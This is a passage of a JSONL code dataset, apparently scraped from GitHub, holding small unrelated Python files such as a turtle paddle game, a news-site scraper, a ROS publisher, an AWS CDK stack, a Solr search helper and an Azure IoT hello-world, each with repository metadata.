true_predictions\r\n\r\ntest.plot(figsize=(14,5))","repo_name":"ojasmagarwal/Milk-Production-Forecasting-with-Deep-Learning","sub_path":"LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23289320698","text":"from features.helper.BasePage import BasePage\nimport re\nimport time\n\nclass ProductPage(BasePage):\n    _locators = {\n        \"select_product\": \"xpath://*[@id='__next']/div/div[5]/div[2]/div/a[1]\",\n        \"add_amount_six\": \"id=add-amount-6\",\n        \"add_product\": \"id=add-product\",\n        \"product_amount\": \"id=product-amount\",\n        \"product_value\": \"class:css-kj8j5x-priceText\",\n        \"total_value\" : \"id=subtotal\"\n    }\n\n    def select_product(self):\n        self._generic_click_element(self.locator.select_product)\n    \n    def add_amount_product(self):\n        self._generic_click_element(self.locator.add_amount_six)\n\n    def add_products(self):\n        self._generic_click_element(self.locator.add_product)\n\n    def get_products_value(self):\n        self._generic_check_element_is_visible(self.locator.product_value)\n        self.value_product = self.selib.get_text(self.locator.product_value)\n        self.value_output = re.findall(\"\\d*,\\d*\", self.value_product)\n        self.value_output_product = float(self.value_output[0].replace(',','.'))\n\n    def get_value_amount(self):\n        self.value_amount = int(self.selib.get_text(self.locator.product_amount))\n        \n\n    def calculate_cart(self):\n        self.get_products_value()\n        self.get_value_amount()\n \n        self.total_value_sub = float(\"{0:.2f}\".format(self.value_output_product * self.value_amount))\n        self.teste = str(self.total_value_sub)\n        self.value_output_product_str = str(self.teste.replace('.',','))\n\n        self.selib.element_text_should_be(self.locator.total_value, \"R$ \" + self.value_output_product_str)\n","repo_name":"thamyresmoraes/ze-challenge","sub_path":"ui-automation/features/pages/ProductPage.py","file_name":"ProductPage.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33885225409","text":"#Author : Susindhar M\n#Date   : 15.07.2023\n#Paddle-game\n\n#importing libraries and classes\nfrom turtle import Screen, Turtle\nfrom pads import Pads\nfrom Ball import ball\nfrom score import Score\nimport time\n\n#Setting Initial status of screen\nplayground = Screen()\nplayground.setup(600,600)\nplayground.tracer(0)\nplayground.title(\"Paddle Game\")\nplayground.bgcolor(\"black\")\nplayer_1 = Pads()\nplayer_1.goto(-280,0)\nplayer_2 = Pads()\nplayer_2.goto(280,0)\ndot = ball()\npoint_1 = Score(-50)\npoint_2 = Score(50)\n\n#Function for exit\ndef exit():\n\tglobal not_exit\n\tnot_exit=0\n\n#Seperate player fields\nline = Turtle()\nline.ht()\nline.color(\"white\")\nline.up()\nline.goto(0,300)\nline.setheading(270)\nfor i in range(0,70):\n\tline.down()\n\tline.fd(10)\n\tline.up()\n\tline.fd(10)\n\n#Controlling the pads\nplayground.listen()\nplayground.onkeypress(player_1.up,\"w\")\nplayground.onkeypress(player_1.down,\"s\")\nplayground.onkeypress(player_2.up,\"Up\")\nplayground.onkeypress(player_2.down,\"Down\")\nplayground.onkey(pause,\"p\")\nplayground.onkey(exit,\"x\")\n\n#Main loop\nnot_exit=1\nwhile not_exit: \n\ttime.sleep(0.07)\n\tplayground.update()\t\n\tdot.move()\n\tx = dot.xcor()\n\ty = dot.ycor()\n\n\t#Detecting wall collision\n\tif abs(y)>280 : dot.bounce_wall()\n\n\t#Detecting pad collision\n\telif (dot.distance(player_1)<50 or dot.distance(player_2)<50) and abs(x)>265 : \n\t\tdot.bounce() \n\t\tif dot.speed()<10 : dot.speed(dot.speed()+1)\n\t\n\t#Detecting pad miss\t\n\telif abs(x)>275 : \n\t\tdot.goto(0,0)\n\t\tdot.bounce()\n\t\tif x>0 : point_1.scoreadd()\n\t\telse : point_2.scoreadd()\n\t\n\t\t\n\n#Exit on click\nplayground.exitonclick()","repo_name":"Susindhar-M/Python","sub_path":"Paddle game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32452243583","text":"from reverse_func import *\n\n\n\n\nwhile True:\n    word = input(\"Please enter a word or sentence to be reversed:   \")\n    if word.lower() == \"quit\" or word.lower() == \"q\":\n        break\n    else:\n        print(reverse(word))\n    ","repo_name":"Tim-Pass/Functions","sub_path":"reverse.py","file_name":"reverse.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4316457490","text":"# Find All Subsets\n\ndef subset(A,sub=[],idx=0):\n    print(*sub)\n    for i in range(idx,len(A)):\n        sub.append(A[i])\n        subset(A,sub,i+1)\n        sub.pop(-1)\n    return\n\narr=list(map(int,input().split(\" \")))\nsubset(arr)\n","repo_name":"ananya123-gif/Python_code-","sub_path":"PrepInsta_100_Code/Codes for Recursion/15) Find All Subsets.py","file_name":"15) Find All Subsets.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25821560170","text":"from bge import constraints\nfrom uplogic.nodes import ULActionNode\nfrom uplogic.nodes import ULOutSocket\n\n\nclass ULSetCharacterVelocity(ULActionNode):\n    def __init__(self):\n        ULActionNode.__init__(self)\n        self.condition = None\n        self.game_object = None\n        self.vel = None\n        self.time = None\n        self.local = False\n        self.done = None\n        self.OUT = ULOutSocket(self, self.get_done)\n\n    def get_done(self):\n        return self.done\n\n    def evaluate(self):\n        self.done = False\n        if not self.get_input(self.condition):\n            return\n        game_object = self.get_input(self.game_object)\n        local = self.local\n        physics = constraints.getCharacter(game_object)\n        vel = self.get_input(self.vel)\n        time = self.get_input(self.time)\n        physics.setVelocity(vel, time, local)\n        self.done = True\n","repo_name":"UPBGE/uplogic","sub_path":"uplogic/nodes/actions/setcharactervelocity.py","file_name":"setcharactervelocity.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"26409524327","text":"# Opiskelijatiedot: opiskelijat1.csv\r\n# Tehtävätiedot: tehtavat1.csv\r\n# pekka peloton 21\r\n# jaana javanainen 27\r\n# liisa virtanen 35\r\nopiskelijatiedot = input(\"Opiskelijatiedot: \")\r\ntehtavatiedot = input(\"Tehtävätiedot: \")\r\n\r\nnimet = {}\r\nwith open (opiskelijatiedot) as tiedosto:\r\n    for rivi in tiedosto:\r\n        rivi = rivi.replace(\"\\n\", \"\")\r\n        osat = rivi.split(\";\")\r\n        if osat[0] == \"opnro\":\r\n            continue\r\n        nimet[osat[0]] = osat[1] + \" \" + osat[2]\r\n\r\npisteet = {}\r\nwith open (tehtavatiedot) as tiedosto:\r\n    for rivi in tiedosto:\r\n        rivi = rivi.replace(\"\\n\", \"\")\r\n        osat = rivi.split(\";\")\r\n        if osat[0] == \"opnro\":\r\n            continue\r\n        opnro = osat[0]\r\n        pisteet[opnro] = []\r\n        for piste in osat[1:]:\r\n            pisteet[opnro].append(int(piste))\r\n\r\nfor opnro, nimi in nimet.items():\r\n    if opnro in pisteet:\r\n        pisteetyht = sum(pisteet[opnro])\r\n        print(f\"{nimi} {pisteetyht}\")","repo_name":"TomiSar/ProgrammingMOOC2020","sub_path":"osa06-04_kurssin_tulokset_osa1/src/kurssin_tulokset_osa1.py","file_name":"kurssin_tulokset_osa1.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73799940487","text":"from time import sleep\n\nimport requests\nimport selenium\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm.exc import FlushError\nimport re\n\nfrom app import Article, db\nimport calendar\n\nimport locale\n\nlocale.setlocale(locale.LC_ALL, 'pt_BR.UTF-8')\n\npath_to_chromedriver = '/usr/lib/chromium-browser/chromedriver'\npath_to_firefoxdirver = '/usr/local/bin/geckodriver/geckodriver'\n\nBASEURL = 'https://epoca.globo.com/'\nSECTION_URL = 'politica/'\n\ndef getArticlesAjax(articles, website, section, n):\n    for a in articles:\n        if 'autores' in a:\n            author = ','.join(map(str, a['autores']))\n        else:\n            author = None\n        link = a['url']\n        title = a['titulo']\n        tries = 0\n        successful = False\n\n        while not successful:\n            print(link)\n            try:\n                firefox.get(link)\n            except selenium.common.exceptions.TimeoutException as e:\n                print('timeout. page did not load: ' + link)\n                sleep(900 * tries)  # sleep for one day\n                tries = tries + 1\n                continue\n            successful = True\n        try:\n            header = firefox.find_element_by_xpath(\"//div[contains(@class, 'article__date')]\").text\n        except NoSuchElementException:\n            content = ''\n            continue\n\n        hlist = re.split(' ', header)\n        pdate = hlist[0]\n        ptime = hlist[2]\n\n        content = firefox.find_element_by_xpath(\"//div[contains(@class, 'article__content-container')]\").text.replace('PUBLICIDADE','').lstrip()\n        subtitle = firefox.find_element_by_xpath(\"//div[contains(@class, 'article__subtitle')]\").text\n\n        articl = Article(website=website, title=title, subtitle=subtitle, author=author, url=link, content=content,\n                         section=section, publish_date=pdate, publish_time=ptime)\n        db.session.add(articl)\n\n        try:\n            db.session.commit()\n            print('success: {0}'.format(n))\n        except (IntegrityError, FlushError) as e:\n            print('article already existed')\n            db.session.rollback()\n            pass\n\nchrome = webdriver.Chrome(path_to_chromedriver)\nfirefox = webdriver.Chrome(path_to_chromedriver)\nchrome.get(BASEURL + SECTION_URL)\nwebsite = 'epoca'\nsection = 'politica'\n\nfor l in range(56, 1300):\n    cookies_list = chrome.get_cookies()\n    cookies_dict = {}\n    for cookie in cookies_list:\n        cookies_dict[cookie['name']] = cookie['value']\n    url = 'https://epoca.globo.com/api/v1/vermais/22831804/conteudo.json?pagina={0}&versao=v1&tiposDeConteudo=materia,coluna,fotogaleria,infografico,listaFatos,materiaEmCapitulos,videoGloboCom,votacaoEnriquecida'.format(l)\n    headers = {'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Referer': 'https://epoca.globo.com/politica/', 'origin': 'https://epoca.globo.com', 'Connection': 'keep-alive', 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0'}\n    response = requests.post(url, cookies=cookies_dict, headers=headers)\n\n    articles = response.json()[0]['conteudos']\n    getArticlesAjax(articles, website, section, l)\n\n","repo_name":"alexlopespereira/politicalbias","sub_path":"epoca.py","file_name":"epoca.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21028163184","text":"import rclpy\nfrom rclpy.node import Node\n\nfrom std_msgs.msg import String\n\nclass My_publisher(Node):\n    def __init__(self):\n        super().__init__('my_publisher')\n\n        # Instanciating the publisher\n        self.publisher_ = self.create_publisher(String, 'my_topic33', 10)\n        self.timer_ = self.create_timer(0.5, self.publish)\n        self.get_logger().info('Publisher started...')\n\n    # Callback function\n    def publish(self):\n        my_msg = String()\n        my_msg.data = 'ROS publishing...'\n        self.publisher_.publish(my_msg)\n        return\n\ndef main():\n    rclpy.init()\n\n    my_node = My_publisher()\n    rclpy.spin(my_node)\n\n    rclpy.shutdown()\n","repo_name":"istarendil/robotic_systems","sub_path":"src/basics/basics/02_publisher.py","file_name":"02_publisher.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37377673933","text":"from ch8_1 import *\r\n\r\n\"\"\"\r\n8.2. BoW 모델 소개\r\ntext --> feature vector\r\n\"\"\"\r\n\r\n\"\"\"\r\n8.2.1 Text -> feature vector + n-gram explanation\r\n\"\"\"\r\n# Bag of Word model\r\n# 각 단어가 몇 번씩 등장했는지 확인\r\nprint('\\n 8.2.1 \\n ')\r\nimport numpy as np\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\n\r\ncount = CountVectorizer()\r\ndocs = np.array(['The sun is shining', 'The weather is sweet', 'The sun is shining, the weather is sweet, and one and one is two'])\r\nbag = count.fit_transform(docs)\r\nprint(bag.toarray()) # 각 열이 각 단어의 등장 횟수, 각 행이 한 문장 : term frequency (문서 d에서 등장한 단어 t의 횟수 : tf(t,d)) #text(word), document\r\nprint(count.vocabulary_) #각 단어가 mapping됨\r\n\r\n# 1-gram/unigram model : item sequenece {The,sun,is}의 각 단어단어가 하나의 feature인 경우(즉, 각 token/item이 하나의 단어)\r\n# n-gram : NLP에서 연속된 아이템의 sequence : Kanaris - 3~4-gram in spam email\r\n\r\n# 1 gram : The, sun, is, shining\r\n# 2 gram : The sun, sun is, is shining\r\n\r\ncount2 = CountVectorizer(ngram_range=(2,2)) # 2-gram expression\r\nbag2 =count2.fit_transform(docs)\r\nprint(bag2.toarray())\r\n#(document, word index) wordfrequency in doucment\r\nprint(count2.vocabulary_)\r\n\r\n\r\n\r\n\"\"\"\r\n8.2.2 tf-idf를 사용한 단어 적합성 평가\r\ntf-idf : term frequency - inverse document frequency (단어 빈도 * 역문서 빈도)\r\n: defined as (term frequency) * (inverse document frequency)\r\n\"\"\"\r\nprint('\\n 8.2.2 \\n')\r\n# tf-idf(t,d) = tf(t,d) * idf(t,d)\r\n\r\nnp.set_printoptions(precision=2) # 소수자리 표현\r\n\r\n\r\n#########################################################################################################\r\n\r\nfrom sklearn.feature_extraction.text import TfidfTransformer\r\n\r\ntfidf = TfidfTransformer(use_idf=True, \r\n                         norm='l2', \r\n                         smooth_idf=True)\r\nprint(tfidf.fit_transform(count.fit_transform(docs)).toarray())\r\n\r\ntf_is = 3\r\nn_docs = 3\r\nidf_is = np.log((n_docs+1) / (3+1))\r\ntfidf_is = tf_is * (idf_is + 1)\r\nprint('tf-idf of term \"is\" = %.2f' % tfidf_is)\r\n\r\ntfidf = TfidfTransformer(use_idf=True, norm=None, smooth_idf=True)\r\nraw_tfidf = tfidf.fit_transform(count.fit_transform(docs)).toarray()[-1]\r\nprint(raw_tfidf)\r\n\r\nl2_tfidf = raw_tfidf / np.sqrt(np.sum(raw_tfidf**2))\r\nprint(l2_tfidf)\r\n\r\n\"\"\"\r\n8.2.3\r\n\"\"\"\r\nprint('\\n 8.2.3 \\n')\r\ndf.loc[0, 'review'][-50:]\r\n\r\nimport re\r\ndef preprocessor(text):\r\n    text = re.sub('<[^>]*>', '', text)\r\n    emoticons = re.findall('(?::|;|=)(?:-)?(?:\\)|\\(|D|P)',\r\n                           text)\r\n    text = (re.sub('[\\W]+', ' ', text.lower()) +\r\n            ' '.join(emoticons).replace('-', ''))\r\n    return text\r\n\r\nprint(preprocessor(df.loc[0, 'review'][-50:]))\r\nprint(preprocessor(\"</a>This :) is :( a test :-)!\"))\r\n\r\ndf['review'] = df['review'].apply(preprocessor)\r\nprint(df['review'].map(preprocessor))\r\n\r\n\"\"\"\r\n8.2.4\r\n\"\"\"\r\n\r\ndef tokenizer(text):\r\n    return text.split()\r\n\r\nfrom nltk.stem.porter import PorterStemmer\r\nporter = PorterStemmer()\r\ndef tokenizer_porter(text):\r\n    return [porter.stem(word) for word in text.split()]\r\n\r\ntokenizer('runners like running and thus they run')\r\ntokenizer_porter('runners like running and thus they run') # 어간 추출기, 제공 알고리즘\r\n\r\nimport nltk\r\n\r\nnltk.download('stopwords')\r\n\r\nfrom nltk.corpus import stopwords\r\n\r\nstop = stopwords.words('english')\r\n\r\nprint([w for w in tokenizer_porter('a runner likes running and runs a lot')[-10:] if w not in stop])\r\nprint(stop)","repo_name":"prorata12/ML-self-study","sub_path":"Chpater8/ch8_2.py","file_name":"ch8_2.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"654436751","text":"from __future__ import division\nfrom sklearn.metrics import mean_squared_error\n\nimport numpy as np\n\n\ndef rmse(y, p):\n    \"\"\"Root Mean Squared Error (RMSE).\n    \n    Args:\n        y (numpy.array): target\n        p (numpy.array): prediction\n\n    Returns:\n        e (numpy.float64): RMSE\n    \"\"\"\n\n    # check and get number of samples\n    assert y.shape == p.shape\n\n    return np.sqrt(mean_squared_error(y, p))\n\n\ndef gini(y, p):\n    \"\"\"Normalized Gini Coefficient.\n    \n    Args:\n        y (numpy.array): target\n        p (numpy.array): prediction\n\n    Returns:\n        e (numpy.float64): normalized Gini coefficient\n    \"\"\"\n\n    # check and get number of samples\n    assert y.shape == p.shape\n\n    n_samples = y.shape[0]\n    \n    # sort rows on prediction column\n    # (from largest to smallest)\n    arr = np.array([y, p]).transpose()\n    true_order = arr[arr[:,0].argsort()][::-1,0]\n    pred_order = arr[arr[:,1].argsort()][::-1,0]\n    \n    # get Lorenz curves\n    l_true = np.cumsum(true_order) / np.sum(true_order)\n    l_pred = np.cumsum(pred_order) / np.sum(pred_order)\n    l_ones = np.linspace(1/n_samples, 1, n_samples)\n    \n    # get Gini coefficients (area between curves)\n    g_true = np.sum(l_ones - l_true)\n    g_pred = np.sum(l_ones - l_pred)\n    \n    # normalize to true Gini coefficient\n    return g_pred / g_true\n","repo_name":"qqgeogor/Kaggler","sub_path":"kaggler/metrics/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"21485137701","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 12 22:02:53 2018\n\n@author: spele\n\"\"\"\n\n#DIY voronoi plot\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.spatial import Voronoi\nfrom voronoi import voronoi_finite_polygons_2d\nfrom clustering_belos import my_kmeans\nfrom defs import mapread\n\n#here we import 2 np arrays of longitudes and latitudes of the points that we want to plot the voronoi diagram \nfrom jsonFENCES_an import lons, lats, poi_lons, poi_lats\n\nplt.figure()\nimg = mapread()\nx_border = lons\ny_border = lats\n\nx = np.column_stack([poi_lons,poi_lats])\nvor = Voronoi(x)\nregions, vertices = voronoi_finite_polygons_2d(vor)\n#vector of colors to be used\ncolor=['orange', 'green', 'blue', 'purple', 'red', 'yellow', 'magenta', 'black', 'cyan', 'grey', 'pink', 'beige']\n\n#dimension fix and map plot\ni = 0\nfor region in regions:\n    we = vertices[region]\n    plt.fill(*zip(*we), alpha=0.2, c=color[i % 11], edgecolor='black', linewidth = 1)\n    i += 1\n\nif  ((len(x_border) != 0) and (len(y_border) != 0)):\n    plt.xlim(min(x_border), max(x_border))\n    plt.ylim(min(y_border), max(y_border))\n\n    if (img != ''):\n        plt.imshow(img, alpha=0.5, extent=[x_border[0],x_border[2],y_border[0], y_border[2]])\nelse:\n    if (img != ''):\n        plt.imshow(img, alpha=0.5)\nplt.scatter(poi_lons, poi_lats, edgecolor = '', s = 15, c = 'black')        \nplt.show()\n#plt.savefig('voronoi_plot.png')","repo_name":"pelekhs/Visitor_distribution_prediction","sub_path":"preprocessing/voronoi_plot_script.py","file_name":"voronoi_plot_script.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"13088474762","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Animals',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('oznaczenie', models.CharField(max_length=100)),\n                ('typ', models.CharField(default=b'KROWA', max_length=50, choices=[(b'KROWA', b'Krowa'), (b'SWINIA', b'Swinia'), (b'KURA', b'Kura'), (b'KACZKA', b'Kaczka'), (b'GES', b'Ges'), (b'INDYK', b'Indyk'), (b'INNE', b'Inne')])),\n                ('old', models.IntegerField()),\n                ('weight', models.IntegerField()),\n                ('price', models.IntegerField()),\n                ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n    ]\n","repo_name":"PyProjectCorp/RolnikApp","sub_path":"animals/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41280177979","text":"#!/usr/bin/env python\\n\n# -*- coding: utf-8 -*-\n\nimport math\nimport sublime\n# import sublime_plugin\n\n\nclass ShortcutsMenu(object):\n    # keys font size is fixed\n    html_tpl = '''\n    <html>\n        <style>\n            div.keyline {\n                margin-bottom: 0.6rem;\n            }\n\n            span.kbd {\n                color: #444446;\n                background-color: #F3F3F4;\n                font-family: \"SFMono-Regular\", Consolas, \"Liberation Mono\", Menlo, Courier, monospace;\n                font-size: 8pt;\n                padding: 2px;\n                padding-left: 6px;\n                padding-right: 6px;\n                margin-right: 40px;\n                border: 2px solid #DCDCDC;\n                border-radius: 4px;\n            }\n\n            span.kbd2 {\n                padding-left: 3px;\n                padding-right: 3px;\n            }\n\n            span.kbdplus {\n                color: #DCDCDC;\n                font-family: \"SFMono-Regular\", Consolas, \"Liberation Mono\", Menlo, Courier, monospace;\n                font-size: 8pt;\n                border-radius: 2px;\n                padding: 2px;\n                padding-left: 4px;\n                padding-right: 4px;\n            }\n\n            span.keyname {\n                color: #c0c0c0;\n                font-size: 8pt;\n                font-family: \"SFMono-Regular\", Consolas, \"Liberation Mono\", Menlo, Courier, monospace;\n                padding: 0.2rem;\n                padding-left: 0.5rem;\n                padding-right: 0;\n            }\n\n            li {\n                margin-left: -40px;\n                padding: 0.2rem;\n            }\n        </style>\n        <body id=\"gitlab\" style=\"padding:0;margin:0;padding-top:-1rem;\">\n        %(shortcuts)s\n        </body>\n    </html>\n    '''\n\n    html_col_tpl = '<div style=\"display: block;padding:0;margin:0;\"><ul>%(list)s</ul></div>'\n    html_shortcut_tpl = '<li>%(keyname)s<span class=\"keyname\">%(cmdname)s</span></li>'\n    html_key_tpl = '<span class=\"%(kbdclass)s\">%(key)s</span>'\n    html_key_plus = '<span class=\"kbdplus\">+</span>'\n\n    def __init__(self, view, shortcuts, cols=5, by_cols=None):\n        if not shortcuts:\n            return\n        if isinstance(cols, int):\n            cols_cnt = cols\n            cols = [[] for _ in range(cols_cnt)]\n            for idx, k in enumerate(shortcuts.keys()):\n                cols[self.key_col(cols_cnt, idx)].append(k)\n        elif cols is None:\n            cols = [[k for k in shortcuts.keys()]]\n\n        cols_html = []\n        for col in cols:\n            keys = []\n            for k in col:\n                line = self.html_shortcut_tpl % {'keyname': self.show_key(shortcuts[k][0]), 'cmdname': shortcuts[k][1]}\n                keys.append(line)\n            col_html = self.html_col_tpl % {'list': ''.join(keys)}\n            cols_html.append(col_html)\n\n        view.erase_phantoms('shortcuts')\n        for idx, block in enumerate(cols_html):\n            shortcuts_menu_html = self.html_tpl % {'shortcuts': block}\n            view.add_phantom(\n                'shortcuts',\n                sublime.Region(0, 0),\n                shortcuts_menu_html,\n                sublime.LAYOUT_INLINE\n            )\n\n    def key_col(self, cols, keyidx):\n        return keyidx - math.floor(keyidx / cols) * cols\n\n    def key_class(self, key):\n        if len(key) == 2:\n            return 'kbd kbd2'\n        return 'kbd'\n\n    def show_key(self, keyname):\n        if not keyname:\n            return\n        keys = keyname.split('+')\n        # return '<span style=\"padding:1px;\">+</span>'.join(['<span style=\"color:#FBB788;\">%s</span>' % k for k in keys])\n        return self.html_key_plus.join([self.html_key_tpl % {'kbdclass': self.key_class(k), 'key': k} for k in keys])\n","repo_name":"tosher/Redlime","sub_path":"base/shortcuts_menu.py","file_name":"shortcuts_menu.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"70264187207","text":"# Installed\nfrom aws_cdk import Environment, Stack\nfrom aws_cdk import aws_certificatemanager as acm\nfrom aws_cdk import aws_iam as iam\nfrom aws_cdk import aws_route53 as route53\nfrom constructs import Construct\n\n\nclass Domain(Stack):\n    \"\"\"Acquires hosted_zone and certificate\"\"\"\n\n    def __init__(\n        self,\n        scope: Construct,\n        construct_id: str,\n        sds_id: str,\n        env: Environment,\n        use_custom_domain: bool = False,\n        **kwargs,\n    ) -> None:\n        \"\"\"\n        Parameters\n        ----------\n        scope : Construct\n        construct_id : str\n        sds_id : str\n            Name suffix for stack\n        env : Environment\n        use_custom_domain : bool, Optional\n            Build API Gateway using custom domain\n        \"\"\"\n        super().__init__(scope, construct_id, env=env, **kwargs)\n\n        self.route_53_role = iam.Role(\n            self,\n            f\"Route53Role-{sds_id}\",\n            assumed_by=iam.CompositePrincipal(\n                iam.ServicePrincipal(\"ec2.amazonaws.com\")\n            ),\n            managed_policies=[\n                iam.ManagedPolicy.from_aws_managed_policy_name(\n                    \"AmazonRoute53FullAccess\"\n                )\n            ],\n        )\n\n        if use_custom_domain:\n            self.hosted_zone = route53.HostedZone.from_lookup(\n                self, f\"HostedZone-{sds_id}\", domain_name=\"imap-mission.com\"\n            )\n\n            self.certificate = acm.Certificate(\n                self,\n                f\"Certificate-{sds_id}\",\n                domain_name=f\"*.{sds_id}.imap-mission.com\",\n                validation=acm.CertificateValidation.from_dns(self.hosted_zone),\n            )\n        else:\n            self.hosted_zone = None\n            self.certificate = None\n","repo_name":"IMAP-Science-Operations-Center/sds-data-manager","sub_path":"sds_data_manager/stacks/domain_stack.py","file_name":"domain_stack.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1562801326","text":"#!bin/python\n\n'''\n#solr_find.py\n\ncalled by listmanager_term.c or some variant thereof\npurpose is to query the solr db for a set of search terms\nthis seemed easier in python although presumably\ncould have been done in c directly with http requests\nand may do that at some point.  This was a good excuse\nto mix c and python.\n\nneed to do two main things for this to work:\n\n1. export PYTHONPATH=\"/home....\" [directory listmanager is running from]\n2. source bin/activate python virtual environment [to have access to SolrClient]\n\nA few key lines in the c code:\n\n1. int len = PyList_Size(pValue);\n2. using PyUnicode_AsUTF8AndSize(PyList_GetItem(pValue, i), &size) as below:\n\n  for (int i=0; i<len;i++) {\n    put += snprintf(put, sizeof(query) - (put - query), \"%s, \", PyUnicode_AsUTF8AndSize(PyList_GetItem(pValue, i), &size));\n  }\n\n'''\n\nfrom SolrClient import SolrClient\nfrom config import SOLR_URI\nsolr = SolrClient(SOLR_URI + '/solr')\ncollection = 'listmanager'\n\ndef solr_find(search_terms):\n    s0 = search_terms.split()\n    s1 = 'title:' + ' OR title:'.join(s0)\n    s2 = 'note:' + ' OR note:'.join(s0)\n    s3 = 'tag:' + ' OR tag:'.join(s0)\n    q = s1 + ' OR ' + s2 + ' OR ' + s3\n    result = solr.query(collection, {\n                'q':q, 'rows':50, 'fl':['score', 'id', 'title', 'tag', 'star', \n                'context', 'completed'], 'sort':'score desc'})\n    items = result.docs\n    solr_ids = [x['id'] for x in items]\n    return solr_ids \n\nif __name__ == \"__main__\":\n  results = solr_find(\"marty\")\n  print(results)\n","repo_name":"slzatz/listmanager_c","sub_path":"solr_find.py","file_name":"solr_find.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8759812941","text":"class Solution:\n    # TC: O(n*k)\n    # SC: O(k)\n    def maxProfit(self, k: int, prices: List[int]) -> int:\n\n        buy = [float(\"inf\") for _ in range(k)]\n        sell = [0 for _ in range(k)]\n\n        for price in prices:\n            buy[0] = min(buy[0], price)\n            sell[0] = max(sell[0], price - buy[0])\n\n            for idx in range(1, k):\n\n                buy[idx] = min(buy[idx], price - sell[idx-1])\n                sell[idx] = max(sell[idx], price - buy[idx])\n\n        return sell[k-1]","repo_name":"sethilakshay/LeetCode","sub_path":"0188-best-time-to-buy-and-sell-stock-iv/0188-best-time-to-buy-and-sell-stock-iv.py","file_name":"0188-best-time-to-buy-and-sell-stock-iv.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"41392835185","text":"from azure.iot.device import IoTHubDeviceClient, Message\nfrom time import sleep\n\nCONNECTION_STRING = \"[Your Connection String]\"\nRECEIVED_MESSAGES = 0\nmessage_text = \"{'Hello World!'}\"\n\n\ndef connection_client():\n    try:\n        client = IoTHubDeviceClient.create_from_connection_string(\n            CONNECTION_STRING)\n        return client\n    except KeyboardInterrupt:\n        print(\"Stopped!\")\n\n\ndef run_simulation(client):\n    client = client\n    client.on_message_received = message_handler\n    while True:\n        message = Message(message_text)\n        print(\"Sending message: {}\".format(message))\n        client.send_message(message)\n        print(\"Message successfully sent\")\n        sleep(10)\n\n\ndef message_handler(message):\n    global RECEIVED_MESSAGES\n    RECEIVED_MESSAGES += 1\n    print(\"\")\n    print(\"Message received:\")\n\n    for property in vars(message).items():\n        print(\"    {}\".format(property))\n\n    print(\"Total calls received: {}\".format(RECEIVED_MESSAGES))\n\n\nif __name__ == '__main__':\n    print(\"Started simulated device\")\n    print(\"Press Ctrl-C to exit\")\n    run_simulation(connection_client())\n","repo_name":"jmfloreszazo/HandsOnIoTAzure","sub_path":"pyHelloIoTDevice/iotHelloWorldDevice.py","file_name":"iotHelloWorldDevice.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
